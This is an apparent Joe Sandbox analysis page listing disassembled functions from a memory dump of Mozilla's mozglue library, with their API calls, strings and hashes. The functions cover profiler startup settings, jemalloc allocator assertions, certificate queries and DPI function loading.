Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 809a88a11ed0d40e29a39bde6d1eff1d348848a141352a261ece0bc38ec0e83f
Instruction ID: a8d9a50efb501171aa60683ff9d3309aa07339397acbd5a4ba8b7cc4ade53ced
Opcode Fuzzy Hash: 809a88a11ed0d40e29a39bde6d1eff1d348848a141352a261ece0bc38ec0e83f
Instruction Fuzzy Hash: F121FC32746314ABDB94AA24DC84BAE7779FF9A704F60051AF903A7B40DB70DD40C7A4

Function 6C963060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C963095

Part of subcall function 6C9635A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EF688,00001000), ref: 6C9635D5
Part of subcall function 6C9635A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9635E0
Part of subcall function 6C9635A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C9635FD
Part of subcall function 6C9635A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C96363F
Part of subcall function 6C9635A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C96369F
Part of subcall function 6C9635A0: __aulldiv.LIBCMT ref: 6C9636E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C96309F

Part of subcall function 6C985B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9856EE,?,00000001), ref: 6C985B85
Part of subcall function 6C985B50: EnterCriticalSection.KERNEL32(6C9EF688,?,?,?,6C9856EE,?,00000001), ref: 6C985B90
Part of subcall function 6C985B50: LeaveCriticalSection.KERNEL32(6C9EF688,?,?,?,6C9856EE,?,00000001), ref: 6C985BD8
Part of subcall function 6C985B50: GetTickCount64.KERNEL32 ref: 6C985BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C9630BE

Part of subcall function 6C9630F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C963127
Part of subcall function 6C9630F0: __aulldiv.LIBCMT ref: 6C963140

Part of subcall function 6C99AB2A: __onexit.LIBCMT ref: 6C99AB30

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: f720f1c3aa7183bd8ed24110f7c816a6ce4d709f5a57fb767e5ca9250014601a
Instruction ID: b2bdbc77596f9693897eda8bc21137a85c06c6467ddc4d83fcbced6ec53e0a56
Opcode Fuzzy Hash: f720f1c3aa7183bd8ed24110f7c816a6ce4d709f5a57fb767e5ca9250014601a
Instruction Fuzzy Hash: F3F0D612E2974CD7DB50DF34A8411AA7370AFBF618B20171BE84453551FB20A2D88382

Non-executed Functions

Function 6C975440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C975492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9754A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9754BE
__Init_thread_footer.LIBCMT ref: 6C9754DB

Part of subcall function 6C99AB3F: EnterCriticalSection.KERNEL32(6C9EE370,?,?,6C963527,6C9EF6CC,?,?,?,?,?,?,?,?,6C963284), ref: 6C99AB49
Part of subcall function 6C99AB3F: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C963527,6C9EF6CC,?,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99AB7C

Part of subcall function 6C99CBE8: GetCurrentProcess.KERNEL32(?,6C9631A7), ref: 6C99CBF1
Part of subcall function 6C99CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9631A7), ref: 6C99CBFA

GetCurrentThreadId.KERNEL32 ref: 6C9754F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C975516
GetCurrentThreadId.KERNEL32 ref: 6C97556A
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C975577
moz_xmalloc.MOZGLUE(00000070), ref: 6C975585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C975590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C9755E6
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C975606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C975616

Part of subcall function 6C99AB89: EnterCriticalSection.KERNEL32(6C9EE370,?,?,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284), ref: 6C99AB94
Part of subcall function 6C99AB89: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99ABD1

GetCurrentThreadId.KERNEL32 ref: 6C97563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C975646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C97567C
free.MOZGLUE(?), ref: 6C9756AE

Part of subcall function 6C985E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C985EDB
Part of subcall function 6C985E90: memset.VCRUNTIME140(6C9C7765,000000E5,55CCCCCC), ref: 6C985F27
Part of subcall function 6C985E90: LeaveCriticalSection.KERNEL32(?), ref: 6C985FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C9756E8
GetCurrentThreadId.KERNEL32 ref: 6C975707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C97570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C975729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C97574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C97576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C975796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C9757B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C9757CA

Strings

MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C9757AE
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C975CF9
[I %d/%d] profiler_init, xrefs: 6C97564E
GeckoMain, xrefs: 6C975554, 6C9755D5
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C975B38
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C9754A3
MOZ_BASE_PROFILER_HELP, xrefs: 6C975511
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C9756E3
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C975BBE
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C975C56
MOZ_PROFILER_STARTUP, xrefs: 6C9755E1
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C975766
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C97548D
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C975791
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C975AC9
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C975749
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C975D01
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C975D2B
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C975D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C97584E
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C975D24
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C975724
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C975717
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C9754B9
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C9757C5

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 6fb74a32d0dbd02dc79fe6bcec550e93f8d84fc893e805cd8b46b9ab8c877291
Instruction ID: 8477e72cc3cbe838dc11b2afec74290933f29c0f2f9f7f6a239dac51665badca
Opcode Fuzzy Hash: 6fb74a32d0dbd02dc79fe6bcec550e93f8d84fc893e805cd8b46b9ab8c877291
Instruction Fuzzy Hash: 43221771A093409FEB919F74C44476A7BF4FFAA30CF14492AE84A97B41EB35C445CB62

Function 6C9AB820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9AB845
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8,?,?,00000000), ref: 6C9AB852
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AB884
InitializeConditionVariable.KERNEL32(?), ref: 6C9AB8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C9AB9FD
GetCurrentThreadId.KERNEL32 ref: 6C9ABA05
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8,?,?,00000000), ref: 6C9ABA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C9ABA27
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9ABA4B
free.MOZGLUE(?), ref: 6C9AC9C7
free.MOZGLUE(?), ref: 6C9AC9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C9AC878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C9AC7DA

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: f5b7214ab645276e4a62ec91b579ad8212c196e309d00aadb38aa1de3c94d5ae
Instruction ID: 941c25c8e9042e80faf93ac8eb2877bb6ab7594e7481a5d641d1f3cd4bd4df41
Opcode Fuzzy Hash: f5b7214ab645276e4a62ec91b579ad8212c196e309d00aadb38aa1de3c94d5ae
Instruction Fuzzy Hash: 38A2AD71A087808FD725CF68C48079BB7F5BFD9318F144A2DE89997750DB31E9498B82

Function 6C976C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C976CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C976D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C976D26

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C976D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C976D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C976D73
free.MOZGLUE(00000000), ref: 6C976D80
CertGetNameStringW.CRYPT32 ref: 6C976DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C976DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C976DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C976DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C976E10
CryptMsgClose.CRYPT32(00000000), ref: 6C976E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C976E34
CreateFileW.KERNEL32 ref: 6C976EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C976F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C976F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C97709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C977103
free.MOZGLUE(00000000), ref: 6C977153
CloseHandle.KERNEL32(?), ref: 6C977176
__Init_thread_footer.LIBCMT ref: 6C977209
__Init_thread_footer.LIBCMT ref: 6C97723A
__Init_thread_footer.LIBCMT ref: 6C97726B
__Init_thread_footer.LIBCMT ref: 6C97729C
__Init_thread_footer.LIBCMT ref: 6C9772DC
__Init_thread_footer.LIBCMT ref: 6C97730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C9773C2
VerSetConditionMask.NTDLL ref: 6C9773F3
VerSetConditionMask.NTDLL ref: 6C9773FF
VerSetConditionMask.NTDLL ref: 6C977406
VerSetConditionMask.NTDLL ref: 6C97740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C97741A
moz_xmalloc.MOZGLUE(?), ref: 6C97755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C977568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C977585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C977598
free.MOZGLUE(00000000), ref: 6C9775AC

Part of subcall function 6C99AB89: EnterCriticalSection.KERNEL32(6C9EE370,?,?,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284), ref: 6C99AB94
Part of subcall function 6C99AB89: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99ABD1

Strings

(, xrefs: 6C97768A
CryptCATAdminReleaseCatalogContext, xrefs: 6C9772C8
SHA256, xrefs: 6C976EC0
wintrust.dll, xrefs: 6C9772CD

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: ea24c88d8f40be00d52862190dfc54b9a462434c8b4df7fb11725c311560ca7f
Instruction ID: c8531e7d4a1b38238bc72e299c8d1a330e14b739cc290aa3688ded5a6a392051
Opcode Fuzzy Hash: ea24c88d8f40be00d52862190dfc54b9a462434c8b4df7fb11725c311560ca7f
Instruction Fuzzy Hash: 7B52D671A053149BEB62DF24CC84BAA77BCEF69708F144199E509A7640DB70EF84CFA1

Function 6C996FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE7DC), ref: 6C997019
LeaveCriticalSection.KERNEL32(6C9EE7DC), ref: 6C997061
EnterCriticalSection.KERNEL32(?), ref: 6C9971A4
LeaveCriticalSection.KERNEL32(?), ref: 6C99721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C99723E
EnterCriticalSection.KERNEL32(?), ref: 6C99726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C9972B2
LeaveCriticalSection.KERNEL32(?), ref: 6C99733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C9973E8
LeaveCriticalSection.KERNEL32(?), ref: 6C99961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C999622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C999642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C99964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9996CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9996DB
AcquireSRWLockExclusive.KERNEL32(6C9EE804), ref: 6C999747
GetSystemInfo.KERNEL32(?), ref: 6C999792
__Init_thread_footer.LIBCMT ref: 6C9997A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9EE810,00000040), ref: 6C9997CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EE7B8,00001388), ref: 6C999838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EE744,00001388), ref: 6C99984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EE784,00001388), ref: 6C999874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9EE7DC,00001388), ref: 6C999895

Strings

MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C999993
<jemalloc>, xrefs: 6C999B33, 6C999BE3
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9999D2
MALLOC_OPTIONS, xrefs: 6C9997CA
Compile-time page size does not divide the runtime one., xrefs: 6C999B38
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C999933, 6C999A33, 6C999A4E
: (malloc) Unsupported character in malloc options: ', xrefs: 6C999BF4
MOZ_CRASH(), xrefs: 6C999B42
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9999A8
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9999BD

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 0f2a88c4fbcbc365681c0b84ac4399d86df3a31de8b49aa8f0647872b79cd4a6
Instruction ID: c0e1ffa2d808ca2ed9fe2b3239c90870cbed51e3ade60e2836a50fb0a2951bfc
Opcode Fuzzy Hash: 0f2a88c4fbcbc365681c0b84ac4399d86df3a31de8b49aa8f0647872b79cd4a6
Instruction Fuzzy Hash: 3C538E71A097018FD718CF29C580615FBE5BF8A328F2DC6ADE8698B791D771E841CB81

Function 6C9A0DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C9A0F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C9A0F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C9A0FB7
EnterCriticalSection.KERNEL32(?), ref: 6C9A0FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C9A1031
LeaveCriticalSection.KERNEL32(?), ref: 6C9A10D0
EnterCriticalSection.KERNEL32(?), ref: 6C9A117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C9A1C39
EnterCriticalSection.KERNEL32(6C9EE744), ref: 6C9A3391
LeaveCriticalSection.KERNEL32(6C9EE744), ref: 6C9A33CD
LeaveCriticalSection.KERNEL32(?), ref: 6C9A3431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9A3437

Strings

MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C9A3793
<jemalloc>, xrefs: 6C9A3941, 6C9A39F1
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9A37D2
MALLOC_OPTIONS, xrefs: 6C9A35FE
Compile-time page size does not divide the runtime one., xrefs: 6C9A3946
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C9A3559, 6C9A382D, 6C9A3848
: (malloc) Unsupported character in malloc options: ', xrefs: 6C9A3A02
MOZ_CRASH(), xrefs: 6C9A3950
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9A37A8
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9A37BD

Memory Dump Source

Source File: 00000000.00000002.2735155734.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2735117280.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735261696.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735306206.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 5529607a8d8549e600ff2f9e2e032367c3b9deb1326f438171aaceec01c30f69
Instruction ID: e12d35ac7dbca415c34af0225532d300500224f184059f072eae92feaba45c07
Opcode Fuzzy Hash: 5529607a8d8549e600ff2f9e2e032367c3b9deb1326f438171aaceec01c30f69
Instruction Fuzzy Hash: 62539D71A05B01CFD304CF69C540615FBE5BF8A328F29C6ADE8699BB91D771E842CB81

Function 6C9C55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C99E1A5), ref: 6C9C5606
LoadLibraryW.KERNEL32(gdi32,?,6C99E1A5), ref: 6C9C560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C9C5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C9C563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C9C566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C9C567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C9C5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C9C56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C9C56CB
